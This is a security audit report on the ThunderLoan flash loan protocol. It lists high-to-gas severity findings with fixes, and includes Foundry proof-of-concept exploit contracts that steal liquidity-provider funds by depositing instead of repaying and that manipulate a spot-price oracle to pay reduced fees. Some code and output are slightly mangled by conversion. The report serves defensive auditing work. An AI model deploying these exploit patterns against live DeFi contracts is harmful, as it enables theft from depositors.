



# Thunder Loan Protocol Audit Report

Version 1.0

*GushALKDev*

January 8, 2026

# Thunder Loan Protocol Audit Report

GushALKDev

January 8, 2026

Prepared by: GushALKDev

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
  - [H-1] Storage collision after upgrade breaks protocol functionality due to removal of `s_feePrecision` variable
  - [H-2] Exchange rate is incorrectly updated during deposits, causing liquidity providers to lose funds
  - [H-3] Users can steal funds by depositing instead of repaying flash loans, receiving free asset tokens
  - [H-4] Flash loan fee is calculated in WETH value instead of token units, causing incorrect fee amounts

- Medium
  - [M-1] Oracle price manipulation allows attackers to pay reduced flash loan fees
  - [M-2] Protocol becomes unusable if underlying token (e.g., USDC) is paused or blacklisted
  - [M-3] Nested flash loans with the same token break due to premature flag reset
- Low
  - [L-1] Uninitialized proxy can be frontrun, allowing attacker to take ownership
  - [L-2] `IThunderLoan` interface is not implemented by `ThunderLoan` contract
  - [L-3] Missing event emission when flash loan fee is updated
  - [L-4] Division by zero if `totalSupply()` is zero in `updateExchangeRate()`
- Informational
  - [I-1] Solidity 0.8.20 includes PUSH0 opcode which may not be compatible with all EVM chains
  - [I-2] Missing NatSpec documentation across multiple contracts
  - [I-3] Unused error `ThunderLoan__ExhangeRateCanOnlyIncrease`
  - [I-4] Incorrect import location for `IThunderLoan` interface
  - [I-5] Centralization risk: Owner has significant control over protocol
  - [I-6] `OracleUpgradeable::getPrice()` function is redundant
  - [I-7] Functions could be marked as `external` instead of `public`
  - [I-8] Insufficient test coverage leaves critical functionality untested
- Gas
  - [G-1] Cache `s_exchangeRate` and `totalSupply()` in `updateExchangeRate()`
  - [G-2] `s_feePrecision` should be a constant

## Protocol Summary

ThunderLoan is a flash loan protocol designed to give users access to liquidity for one transaction. It allows liquidity providers to deposit ERC20 tokens and earn fees from flash loan borrowers. The protocol uses an upgradeable proxy pattern (UUPS) and relies on TSwap pools for price oracle functionality to calculate fees.

## Disclaimer

GushALKDev makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not

an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

**The findings described in this document correspond the following commit hash:**

```
1 5befd011dcf955230f1f1d5f6eefd2238518c57b
```

## Scope

The review focused on the core flash loan logic, liquidity provider flows (deposit, redeem), and the upgrade mechanism.

In-scope files:

- [src/protocol/ThunderLoan.sol](#)
- [src/protocol/AssetToken.sol](#)
- [src/protocol/OracleUpgradeable.sol](#)
- [src/upgradedProtocol/ThunderLoanUpgraded.sol](#)
- [src/interfaces/IFlashLoanReceiver.sol](#)
- [src/interfaces/IPoolFactory.sol](#)
- [src/interfaces/ITSwapPool.sol](#)

- `src/interfaces/IThunderLoan.sol`

Out of scope:

- Deployment scripts and infrastructure (`script/`, `Makefile`, CI, etc.)
- Third-party dependencies under `lib/` (assumed correct as imported)

## Roles

- **Owner:** Has administrative control over the protocol. Can set allowed tokens (`setAllowedToken()`), update flash loan fees (`updateFlashLoanFee()`), and authorize contract upgrades (`_authorizeUpgrade()`).
- **Liquidity Providers:** Deposit ERC20 tokens into the protocol via `deposit()` and receive `AssetToken` shares representing their stake. They earn fees from flash loan borrowers and can withdraw their funds via `redeem()`.
- **Flash Loan Borrowers:** Request flash loans via `flashloan()`, execute arbitrary logic in their `executeOperation()` callback, and repay the borrowed amount plus fee within the same transaction via `repay()`.
- **AssetToken Contract:** Holds the underlying tokens deposited by liquidity providers and handles token transfers for flash loans.

## Executive Summary

### Issues found

The protocol contains several critical vulnerabilities in its core functionality. The most severe issues include (1) a storage collision bug in the upgraded contract that completely breaks fee calculation, (2) incorrect exchange rate updates during deposits that harm liquidity providers, (3) a flash loan repayment bypass that allows attackers to steal funds by depositing instead of repaying, and (4) incorrect fee calculation based on WETH value rather than token units.

Additionally, the oracle price mechanism is susceptible to manipulation, and there are several edge cases and informational issues that impact protocol robustness.

---

Severity	Number of issues found
High	4
Medium	3

---

Severity	Number of issues found
Low	4
Informational	8
Gas	2
<b>Total</b>	<b>21</b>

## Findings

### High

**[H-1] Storage collision after upgrade breaks protocol functionality due to removal of `s_feePrecision` variable**

IMPACT: HIGH LIKELIHOOD: HIGH

**Description:** In `ThunderLoanUpgraded.sol`, the storage variable `s_feePrecision` was removed and changed to a constant `FEE_PRECISION`. This causes a storage slot collision because `s_flashLoanFee` now occupies the slot that was previously used by `s_feePrecision`.

In the original `ThunderLoan.sol`:

```
1 uint256 private s_feePrecision;      // Slot X
2 uint256 private s_flashLoanFee;     // Slot X+1
```

In `ThunderLoanUpgraded.sol`:

```
1 uint256 private s_flashLoanFee;      // Slot X (now reads old
    s_feePrecision value!)
2 uint256 public constant FEE_PRECISION = 1e18; // Constants don't use
    storage slots
```

After upgrade, `s_flashLoanFee` will read the value that was stored in `s_feePrecision` (`1e18`), not the actual fee (`3e15`).

**Impact:** The flash loan fee will be incorrectly read after upgrade, causing the protocol to charge `1e18` (100%) instead of `3e15` (0.3%) as the fee. This completely breaks the flash loan functionality and makes it unusable.

**Proof of Concept:**

PoC

Place the following test into `ThunderLoanTest.t.sol`:

```

1 function testUpgradeBreaks() public {
2     uint256 feeBeforeUpgrade = thunderLoan.getFee();
3     vm.startPrank(thunderLoan.owner());
4     ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
5     thunderLoan.upgradeToAndCall(address(upgraded), "");
6     vm.stopPrank();
7     uint256 feeAfterUpgrade = upgraded.getFee();
8     console2.log("Fee before upgrade", feeBeforeUpgrade);
9     console2.log("Fee after upgrade", feeAfterUpgrade);
10    assertEq(feeBeforeUpgrade, feeAfterUpgrade); // This will fail!
11 }
```

Output:

```

1 Fee before upgrade: 3000000000000000
2 Fee after upgrade: 10000000000000000000000000000000
```

**Recommended Mitigation:** If you must remove a storage variable, leave a blank placeholder to preserve the storage layout:

```

1     mapping(IERC20 => AssetToken) public s_tokenToAssetToken;
2
3 +     uint256 private s_blank; // Placeholder for removed s_feePrecision
4     uint256 private s_flashLoanFee; // 0.3% ETH fee
5     uint256 public constant FEE_PRECISION = 1e18;
```

## [H-2] Exchange rate is incorrectly updated during deposits, causing liquidity providers to lose funds

IMPACT: HIGH LIKELIHOOD: HIGH

**Description:** In `ThunderLoan::deposit()`, the exchange rate is updated with a calculated fee based on the deposit amount. However, the exchange rate should only be updated when flash loans are repaid, not during deposits. This causes the exchange rate to increase artificially on each deposit.

```

1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
2     amount) revertIfNotAllowedToken(token) {
3     AssetToken assetToken = s_tokenToAssetToken[token];
4     uint256 exchangeRate = assetToken.getExchangeRate();
5     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION())
6         / exchangeRate;
```

```

5   emit Deposit(msg.sender, token, amount);
6   assetToken.mint(msg.sender, mintAmount);
7
8   // @audit BUG: These lines should NOT be here
9   uint256 calculatedFee = getCalculatedFee(token, amount);
10  assetToken.updateExchangeRate(calculatedFee); // <-- This is wrong
11  !
12  token.safeTransferFrom(msg.sender, address(assetToken), amount);
13 }

```

**Impact:** Liquidity providers who deposit will artificially inflate the exchange rate, causing subsequent depositors to receive fewer asset tokens than they should. When redeeming, earlier depositors will receive more underlying tokens than they deposited (at the expense of later depositors).

### Proof of Concept:

PoC

Place the following test into `ThunderLoanTest.t.sol`:

```

1 function testRedeemAfterDeposit() public setAllowedToken hasDeposits {
2     vm.startPrank(liquidityProvider);
3     thunderLoan.redeem(tokenA, type(uint256).max);
4     vm.stopPrank();
5     // Liquidity provider should get back exactly what they deposited
6     // but due to the bug, they get back more or less depending on
7     // timing
8     assertEq(tokenA.balanceOf(liquidityProvider), DEPOSIT_AMOUNT);
9 }

```

**Recommended Mitigation:** Remove the fee calculation and exchange rate update from the deposit function:

```

1 function deposit(IERC20 token, uint256 amount) external revertIfZero(
2     amount) revertIfNotAllowedToken(token) {
3     AssetToken assetToken = s_tokenToAssetToken[token];
4     uint256 exchangeRate = assetToken.getExchangeRate();
5     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION())
6         / exchangeRate;
7     emit Deposit(msg.sender, token, amount);
8     assetToken.mint(msg.sender, mintAmount);
9     - uint256 calculatedFee = getCalculatedFee(token, amount);
10    - assetToken.updateExchangeRate(calculatedFee);
11    token.safeTransferFrom(msg.sender, address(assetToken), amount);
12 }

```

### [H-3] Users can steal funds by depositing instead of repaying flash loans, receiving free asset tokens

IMPACT: HIGH LIKELIHOOD: HIGH

**Description:** In `ThunderLoan::flashloan()`, the function only checks if the ending balance of the asset token is greater than or equal to the starting balance plus fee. It doesn't verify HOW the funds were returned. An attacker can use `deposit()` instead of `repay()` to return the borrowed funds, which mints them asset tokens they can later redeem for profit.

```

1  function flashloan(...) external {
2      // ...
3      assetToken.transferUnderlyingTo(receiverAddress, amount);
4      receiverAddress.functionCall(...);
5
6      uint256 endingBalance = token.balanceOf(address(assetToken));
7      // @audit Only checks balance, not how it was returned!
8      if (endingBalance < startingBalance + fee) {
9          revert ThunderLoan__NotPaidBack(startingBalance + fee,
10                                         endingBalance);
11     }
12     s_currentlyFlashLoaning[token] = false;
13 }
```

**Impact:** Attackers can take flash loans and deposit the borrowed amount + fee back into the protocol. This mints them asset tokens that they can immediately redeem. Since they received asset tokens for a deposit made with borrowed funds, they effectively steal from other liquidity providers.

#### Proof of Concept:

PoC

Place the following test and contract into `ThunderLoanTest.t.sol`:

```

1  function testDepositInsteadOfRepay() public setAllowedToken hasDeposits
2  {
3      uint256 amountToBorrow = 50e18;
4
5      DepositInsteadOfRepay depositInsteadOfRepay = new
6          DepositInsteadOfRepay(
7              address(thunderLoan),
8              amountToBorrow
9          );
10
11     vm.startPrank(user);
12     // Mint tokenA to repay the fee
13     tokenA.mint(address(depositInsteadOfRepay), 1e18);
14
15     bytes memory params = abi.encode(address(user));
```

```
14     // Take the flash loan
15     thunderLoan.flashloan(address(depositInsteadOfRepay), tokenA,
16                             amountToBorrow, params);
17
18     // Check balance of assets before redeem
19     uint256 assetBalanceBeforeRedeem = IERC20(tokenA).balanceOf(user);
20     console2.log("TokenA balance before redeem",
21                  assetBalanceBeforeRedeem);
22
23     // Redeem the shares
24     thunderLoan.redeem(IERC20(tokenA), type(uint256).max);
25
26     // Check balance of assets after redeem
27     uint256 assetBalanceAfterRedeem = IERC20(tokenA).balanceOf(user);
28     console2.log("TokenA balance after redeem", assetBalanceAfterRedeem
29                  );
30
31     vm.stopPrank();
32
33     assert(assetBalanceAfterRedeem > assetBalanceBeforeRedeem);
34 }
35
36 contract DepositInsteadOfRepay is IFlashLoanReceiver {
37     ThunderLoan thunderLoan;
38     uint256 amountToBorrow;
39
40     constructor (address _thunderLoanAddress, uint256 _amountToBorrow)
41     {
42         thunderLoan = ThunderLoan(_thunderLoanAddress);
43         amountToBorrow = _amountToBorrow;
44     }
45
46     function executeOperation(
47         address token,
48         uint256 amount,
49         uint256 fee,
50         address initiator,
51         bytes calldata params
52     )
53     external
54     returns (bool) {
55         IERC20 assetToken = IERC20(address(thunderLoan.
56             getAssetFromToken(IERC20(token))));  

57         address caller = abi.decode(params, (address));
58
59         IERC20(token).approve(address(thunderLoan), amountToBorrow +
60                               fee);
61         thunderLoan.deposit(IERC20(token), amountToBorrow + fee);
62
63         // Send the shares to the caller address for redeeming
64         assetToken.transfer(caller, assetToken.balanceOf(address(this)))
```

```

59     );
60     return true;
61 }
62 }
```

**Recommended Mitigation:** Block deposits while a flash loan is active. Use a modifier that checks the `s_currentlyFlashLoaning` mapping:

```

1 +   modifier revertIfCurrentlyFlashLoaning(IERC20 token) {
2 +     if (s_currentlyFlashLoaning[token]) {
3 +       revert ThunderLoan__CurrentlyFlashLoaning();
4 +     }
5 +   -;
6 + }
7
8 -   function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
9 +   function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token)
revertIfCurrentlyFlashLoaning(token) {
```

#### [H-4] Flash loan fee is calculated in WETH value instead of token units, causing incorrect fee amounts

IMPACT: HIGH LIKELIHOOD: HIGH

**Description:** The `getCalculatedFee()` function calculates the fee by first converting the borrowed token amount to WETH value, then applying the fee percentage. However, the fee should be paid in the borrowed token, not in WETH-equivalent value.

```

1 function getCalculatedFee(IERC20 token, uint256 amount) public view
  returns (uint256 fee) {
2   // @audit This converts to WETH value first
3   uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(
    token))) / s_feePrecision;
4   // @audit Fee is in WETH terms, not token terms!
5   fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
6 }
```

**Impact:** The fee charged will be incorrect. For tokens worth more than WETH, users pay too little fee. For tokens worth less than WETH, users pay too much fee. This creates an arbitrage opportunity and inconsistent protocol economics.

**Recommended Mitigation:** Calculate the fee directly on the token amount:

```

1 function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
2 -   uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(
    token))) / s_feePrecision;
3 -   fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
4 +   fee = (amount * s_flashLoanFee) / s_feePrecision;
5 }
```

## Medium

### [M-1] Oracle price manipulation allows attackers to pay reduced flash loan fees

IMPACT: MEDIUM LIKELIHOOD: HIGH

**Description:** The `OracleUpgradeable::getPriceInWeth()` function uses the spot price from TSwap pools to calculate flash loan fees. An attacker can manipulate the pool price by executing a large swap before taking a flash loan, reducing the apparent value of the token and thus paying less fees.

```

1 function getPriceInWeth(address token) public view returns (uint256) {
2     address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
    );
3     // @audit Spot price is easily manipulable!
4     return ITswapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
5 }
```

**Impact:** Attackers can reduce their flash loan fees significantly by manipulating the oracle price before borrowing. This results in liquidity providers earning less fees than expected.

#### Proof of Concept:

PoC

Place the following test into `ThunderLoanTest.t.sol`:

```

1 function testOracleManipulation() public {
2     uint256 amountToBorrow = 50e18;
3     // Set up contracts
4     thunderLoan = new ThunderLoan();
5     tokenA = new ERC20Mock();
6     proxy = new ERC1967Proxy(address(thunderLoan), "");
7     BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
8
9     // Create TSwap DEX between WETH and TokenA
10    address tswapPool = pf.createPool(address(tokenA));
```

```
11
12     // Initialize ThunderLoan
13     thunderLoan = ThunderLoan(address(proxy));
14     thunderLoan.initialize(address(pf));
15
16     // Fund Tswap
17     vm.startPrank(liquidityProvider);
18     tokenA.mint(liquidityProvider, 100e18);
19     tokenA.approve(address(tswapPool), 100e18);
20     weth.mint(liquidityProvider, 100e18);
21     weth.approve(address(tswapPool), 100e18);
22     // Ratio 1:1 (1 WETH = 1 TokenA)
23     BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
24     vm.stopPrank();
25
26     // Fund ThunderLoan
27     vm.prank(thunderLoan.owner());
28     thunderLoan.setAllowedToken(tokenA, true);
29     vm.startPrank(liquidityProvider);
30     tokenA.mint(liquidityProvider, 1000e18);
31     tokenA.approve(address(thunderLoan), 1000e18);
32     thunderLoan.deposit(tokenA, 1000e18);
33     vm.stopPrank();
34
35     uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
36         amountToBorrow * 2);
37     console2.log("Normal fee cost is", normalFeeCost);
38
39     MaliciousFlashLoanReceiver maliciousFlashLoanReceiver = new
40         MaliciousFlashLoanReceiver(
41             tswapPool,
42             address(thunderLoan),
43             address(thunderLoan.getAssetFromToken(tokenA)),
44             amountToBorrow
45         );
46
47     vm.startPrank(user);
48     tokenA.mint(address(maliciousFlashLoanReceiver), 100e18);
49     thunderLoan.flashloan(address(maliciousFlashLoanReceiver), tokenA,
50         amountToBorrow, "");
51     vm.stopPrank();
52
53     uint256 actualFeeCost = maliciousFlashLoanReceiver.feeOne() +
54         maliciousFlashLoanReceiver.feeTwo();
55     console2.log("Actual fee cost is", actualFeeCost);
56     assert(actualFeeCost < normalFeeCost);
57 }
```

```
57
58     ThunderLoan thunderLoan;
59     address repayAddress;
60     BuffMockTSwap tswapPool;
61     bool attacked;
62     uint256 public feeOne;
63     uint256 public feeTwo;
64     uint256 amountToBorrow;
65
66     error FailedToRepayTheFlashLoan(bool attacked);
67
68     constructor (address _tswapPoolAddress, address _thunderLoanAddress
69                 , address _repayAddress, uint256 _amountToBorrow) {
70         tswapPool = BuffMockTSwap(_tswapPoolAddress);
71         thunderLoan = ThunderLoan(_thunderLoanAddress);
72         repayAddress = _repayAddress;
73         amountToBorrow = _amountToBorrow;
74     }
75
76     function executeOperation(
77         address token,
78         uint256 amount,
79         uint256 fee,
80         address initiator,
81         bytes calldata params
82     )
83     external
84     returns (bool) {
85         if (!attacked) {
86             feeOne = fee;
87             attacked = true;
88             // 1. Swap TokenA borrowed for WETH
89             uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
90                 amountToBorrow, 100e18, 100e18);
91
92             IERC20(token).approve(address(tswapPool), amount);
93
94             tswapPool.swapPoolTokenForWethBasedOnOutputWeth(wethBought,
95                     amount, block.timestamp);
96             // 2. Take out ANOTHER flash loan to show the difference in
97             // fees
98             thunderLoan.flashloan(address(this), IERC20(token),
99                         amountToBorrow, "");
100            // 3. Repay the first flash loan
101            bool success = IERC20(token).transfer(repayAddress, amount
102                            + feeOne);
103            if (!success) {
104                revert FailedToRepayTheFlashLoan(attacked);
105            }
106        }
107        else {
```

```

102         // Calculate the fee and repay the flash loan
103         feeTwo = fee;
104         // Repay the second flash loan
105         bool success = IERC20(token).transfer(repayAddress, amount
106             + feeTwo);
107         if (!success) {
108             revert FailedToRepayTheFlashLoan(attacked);
109         }
110     }
111 }
112 }
```

**Recommended Mitigation:** Use a Time-Weighted Average Price (TWAP) oracle or integrate Chainlink price feeds instead of spot prices:

```

1 function getPriceInWeth(address token) public view returns (uint256) {
2 -     address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
3 - );
3 -     return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
4 +     // Use Chainlink or TWAP oracle
5 +     return IChainlinkOracle(chainlinkFeed).getPrice(token);
6 }
```

---

## [M-2] Protocol becomes unusable if underlying token (e.g., USDC) is paused or blacklisted

IMPACT: HIGH LIKELIHOOD: LOW

**Description:** The `AssetToken::transferUnderlyingTo()` function uses `safeTransfer` to transfer underlying tokens. If the underlying token (e.g., USDC, USDT) pauses transfers or blacklists the protocol contracts, all flash loans and redemptions will revert, leaving user funds stuck.

```

1 function transferUnderlyingTo(address to, uint256 amount) external
2     onlyThunderLoan {
3     // @audit If token is paused/blocked, this reverts
4     i_underlying.safeTransfer(to, amount);
5 }
```

**Impact:** If popular tokens like USDC or USDT pause their transfers or blacklist the ThunderLoan contracts, the entire protocol becomes unusable. Users cannot redeem their asset tokens and flash loans cannot be executed.

**Recommended Mitigation:** Consider implementing an emergency withdrawal mechanism that the owner can trigger in case of token-related issues. Also document this risk clearly for users.

### [M-3] Nested flash loans with the same token break due to premature flag reset

IMPACT: MEDIUM LIKELIHOOD: LOW

**Description:** The `repay()` function checks `s_currentlyFlashLoaning[token]` to ensure repayment only happens during a flash loan. However, if a user takes a nested flash loan with the same token, the first repayment will succeed but then `s_currentlyFlashLoaning[token]` is set to false, causing the second repayment to revert.

```

1  function repay(IERC20 token, uint256 amount) public {
2      // @audit If nested flash loan, this check fails on second repay
3      if (!s_currentlyFlashLoaning[token]) {
4          revert ThunderLoan__NotCurrentlyFlashLoaning();
5      }
6      AssetToken assetToken = s_tokenToAssetToken[token];
7      token.safeTransferFrom(msg.sender, address(assetToken), amount);
8 }
```

**Impact:** Nested flash loans with the same token will fail, limiting protocol flexibility. While this is an edge case, it prevents legitimate use cases like arbitrage across multiple venues.

**Recommended Mitigation:** Use a counter instead of a boolean to track flash loan nesting:

```

1 - mapping(IERC20 token => bool currentlyFlashLoaning) private
  s_currentlyFlashLoaning;
2 + mapping(IERC20 token => uint256 flashLoanCount) private
  s_flashLoanCount;
3
4 function flashloan(...) external {
5     // ...
6 -     s_currentlyFlashLoaning[token] = true;
7 +     s_flashLoanCount[token]++;
8     // ...
9 -     s_currentlyFlashLoaning[token] = false;
10 +    s_flashLoanCount[token]--;
11 }
12
13 function repay(IERC20 token, uint256 amount) public {
14 -     if (!s_currentlyFlashLoaning[token]) {
15 +     if (s_flashLoanCount[token] == 0) {
16         revert ThunderLoan__NotCurrentlyFlashLoaning();
17     }
18     // ...
19 }
```

## Low

### [L-1] Uninitialized proxy can be frontrun, allowing attacker to take ownership

IMPACT: MEDIUM LIKELIHOOD: LOW

**Description:** The `ThunderLoan::initialize()` function can be called by anyone. If the contract is deployed but not immediately initialized in the same transaction, an attacker can frontrun the initialization and become the owner.

```
1 function initialize(address tswapAddress) external initializer {
2     __Ownable_init(msg.sender); // @audit Caller becomes owner
3     __UUPSUpgradeable_init();
4     __Oracle_init(tswapAddress);
5     s_feePrecision = 1e18;
6     s_flashLoanFee = 3e15;
7 }
```

**Impact:** An attacker could become the owner of the protocol and control all owner-only functions like `setAllowedToken()`, `updateFlashLoanFee()`, and `_authorizeUpgrade()`.

**Recommended Mitigation:** Initialize the contract in the same transaction as deployment in the deployment script, or use a factory pattern that initializes atomically.

---

### [L-2] IThunderLoan interface is not implemented by ThunderLoan contract

IMPACT: LOW LIKELIHOOD: LOW

**Description:** The `IThunderLoan` interface defines `repay(address token, uint256 amount)` but `ThunderLoan` implements `repay(IERC20 token, uint256 amount)`. This type mismatch means the contract does not actually implement the interface.

```
1 // IThunderLoan.sol
2 interface IThunderLoan {
3     function repay(address token, uint256 amount) external;
4 }
5
6 // ThunderLoan.sol
7 function repay(IERC20 token, uint256 amount) public { ... }
```

**Impact:** Contracts expecting the interface will not work correctly with `ThunderLoan`. The `IFlashLoanReceiver` interface imports `IThunderLoan` but cannot properly call `repay()`.

**Recommended Mitigation:** Update the interface to match the implementation:

```

1 interface IThunderLoan {
2   -   function repay(address token, uint256 amount) external;
3   +   function repay(IERC20 token, uint256 amount) external;
4 }
```

**[L-3] Missing event emission when flash loan fee is updated**

IMPACT: LOW LIKELIHOOD: LOW

**Description:** The `updateFlashLoanFee()` function changes a critical protocol parameter but does not emit an event.

```

1 function updateFlashLoanFee(uint256 newFee) external onlyOwner {
2   if (newFee > s_feePrecision) {
3     revert ThunderLoan__BadNewFee();
4   }
5   s_flashLoanFee = newFee;
6   // @audit Missing event
7 }
```

**Impact:** Off-chain monitoring and indexing systems cannot track fee changes. Users may be unaware of fee updates.

**Recommended Mitigation:** Add and emit a `FlashLoanFeeUpdated` event:

```

1 + event FlashLoanFeeUpdated(uint256 oldFee, uint256 newFee);
2
3 function updateFlashLoanFee(uint256 newFee) external onlyOwner {
4   if (newFee > s_feePrecision) {
5     revert ThunderLoan__BadNewFee();
6   }
7 + emit FlashLoanFeeUpdated(s_flashLoanFee, newFee);
8   s_flashLoanFee = newFee;
9 }
```

**[L-4] Division by zero if `totalSupply()` is zero in `updateExchangeRate()`**

IMPACT: LOW LIKELIHOOD: LOW

**Description:** In `AssetToken::updateExchangeRate()`, if `totalSupply()` is zero, the division will revert.

```

1 function updateExchangeRate(uint256 fee) external onlyThunderLoan {
2     // @audit Division by zero if totalSupply() == 0
3     uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
4         totalSupply();
5     // ...

```

**Impact:** If there are no asset token holders (all redeemed), updating the exchange rate will fail. This is an edge case but could cause issues during protocol bootstrap or after full redemption.

**Recommended Mitigation:** Add a check for zero total supply:

```

1 function updateExchangeRate(uint256 fee) external onlyThunderLoan {
2     if (totalSupply() == 0) {
3         return; // No holders to update rate for
4     }
5     uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
6         totalSupply();
7     // ...

```

## Informational

### [I-1] Solidity 0.8.20 includes PUSH0 opcode which may not be compatible with all EVM chains

**Description:** The contracts use `pragma solidity 0.8.20;`. Solidity 0.8.20 introduces the `PUSH0` opcode which is only supported on Ethereum mainnet after the Shanghai upgrade. Deploying to L2s or other EVM chains may fail or behave unexpectedly.

**Recommended Mitigation:** Use Solidity 0.8.19 for maximum compatibility, or explicitly verify chain compatibility before deployment.

### [I-2] Missing NatSpec documentation across multiple contracts

**Description:** Several functions and contracts lack NatSpec documentation: - `IFlashLoanReceiver ::executeOperation()` - `ThunderLoan::deposit()` - `ThunderLoan::flashloan()` - `ThunderLoan::getCalculatedFee()` - `AssetToken` contract

**Recommended Mitigation:** Add comprehensive NatSpec comments for all public/external functions.

---

#### [I-3] Unused error ThunderLoan\_\_ExchangeRateCanOnlyIncrease

**Description:** The error `ThunderLoan__ExchangeRateCanOnlyIncrease` is defined but never used in `ThunderLoan.sol`. The actual revert happens in `AssetToken.sol` with a different error.

**Recommended Mitigation:** Remove the unused error:

```
1 - error ThunderLoan__ExchangeRateCanOnlyIncrease();
```

---

#### [I-4] Incorrect import location for IThunderLoan interface

**Description:** In `IFlashLoanReceiver.sol`, the `IThunderLoan` interface is imported but not used. The import should be in the contract that actually needs it.

```
1 // @audit Bad import location
2 import { IThunderLoan } from "./IThunderLoan.sol";
```

---

**Recommended Mitigation:** Remove the unused import from `IFlashLoanReceiver.sol`.

---

#### [I-5] Centralization risk: Owner has significant control over protocol

**Description:** The owner can perform several critical actions: - Set allowed tokens (`setAllowedToken()`) - Update flash loan fee (`updateFlashLoanFee()`) - Upgrade the contract (`_authorizeUpgrade()`)

This creates centralization risks where a malicious or compromised owner could: - Disable token support, trapping user funds - Set excessive fees - Upgrade to a malicious implementation

**Recommended Mitigation:** Consider implementing: - Multi-sig ownership - Timelock for sensitive operations - DAO governance for critical changes

---

### [I-6] OracleUpgradeable::getPrice() function is redundant

**Description:** The `getPrice()` function simply calls `getPriceInWeth()` without any additional logic.

```
1 function getPrice(address token) external view returns (uint256) {
2     return getPriceInWeth(token);
3 }
```

**Recommended Mitigation:** Remove the redundant function or clarify its intended distinct purpose.

### [I-7] Functions could be marked as external instead of public

**Description:** Several functions are marked as `public` but are never called internally: - `repay()` - `getAssetFromToken()` - `isCurrentlyFlashLoaning()`

**Recommended Mitigation:** Change to `external` for gas optimization:

```
1 -     function repay(IERC20 token, uint256 amount) public {
2 +     function repay(IERC20 token, uint256 amount) external {
```

### [I-8] Insufficient test coverage leaves critical functionality untested

**Description:** The protocol's test suite has critically low coverage across all metrics. Running `forge coverage` reveals the following:

File	% Lines	% Statements	% Branches	% Funcs
src/protocol/AssetToken.sol	73.08% (19/26)	75.00% (15/20)	0.00% (0/3)	77.78% (7/9)
src/protocol/OracleUpgradeable.sol	90.91% (10/11)	100.00% (9/9)	100.00% (0/0)	80.00% (4/5)
src/protocol/ThunderLoan.sol	60.00% (51/85)	64.63% (53/82)	18.18% (2/11)	52.94% (9/17)

File	% Lines	% Statements	% Branches	% Funcs
src/upgradedProtocol/ThunderLoanUpgraded.sol	0.00% (0/82)	0.00% (0/80)	0.00% (0/11)	0.00% (0/16)
<b>Total</b>	<b>32.41%</b> <b>(117/361)</b>	<b>31.27%</b> <b>(106/339)</b>	<b>4.76%</b> <b>(2/42)</b>	<b>34.52%</b> <b>(29/84)</b>

Key issues: - **ThunderLoan.sol** (core contract): Only 60% line coverage and 18.18% branch coverage - **ThunderLoanUpgraded.sol**: 0% coverage - the upgrade path is completely untested - **Overall branch coverage**: Only 4.76%, meaning edge cases and conditional logic are largely untested

**Impact:** Low test coverage significantly increases the risk of undetected bugs reaching production. The 0% coverage on `ThunderLoanUpgraded.sol` is particularly concerning given that the upgrade introduces a critical storage collision bug (H-1). Better tests would have caught this issue.

**Recommended Mitigation:** 1. Achieve a minimum of 90% line coverage and 80% branch coverage for all in-scope contracts 2. Add specific tests for: - Upgrade scenarios (storage layout preservation) - Edge cases in `deposit()`, `redeem()`, and `flashloan()` - Error conditions and reverts - Access control (owner-only functions) 3. Consider adding fuzz tests and invariant tests for critical protocol invariants: - Total deposited should equal total redeemable - Exchange rate should only increase from flash loan fees - Flash loans should always be fully repaid

## Gas

### [G-1] Cache `s_exchangeRate` and `totalSupply()` in `updateExchangeRate()`

**Description:** The `updateExchangeRate()` function reads `s_exchangeRate` and calls `totalSupply()` multiple times.

```

1 function updateExchangeRate(uint256 fee) external onlyThunderLoan {
2     uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
3         totalSupply();
4     if (newExchangeRate <= s_exchangeRate) { ... }
5     s_exchangeRate = newExchangeRate;
6     emit ExchangeRateUpdated(s_exchangeRate);
7 }
```

### Recommended Mitigation:

```

1 function updateExchangeRate(uint256 fee) external onlyThunderLoan {
2 +   uint256 oldExchangeRate = s_exchangeRate;
3 +   uint256 supply = totalSupply();
4 -   uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
5     totalSupply();
6 +   uint256 newExchangeRate = oldExchangeRate * (supply + fee) / supply
7 ;
8 -   if (newExchangeRate <= s_exchangeRate) {
9 +   if (newExchangeRate <= oldExchangeRate) {
10      revert AssetToken__ExchangeRateCanOnlyIncrease(s_exchangeRate,
11                                                 newExchangeRate);
12 }

```

## [G-2] **s\_feePrecision** should be a constant

**Description:** In `ThunderLoan.sol`, `s_feePrecision` is a storage variable but is set once in `initialize()` and never changed. It should be a constant.

### Recommended Mitigation:

```

1 -   uint256 private s_feePrecision;
2 +   uint256 private constant FEE_PRECISION = 1e18;
3
4 function initialize(address tswapAddress) external initializer {
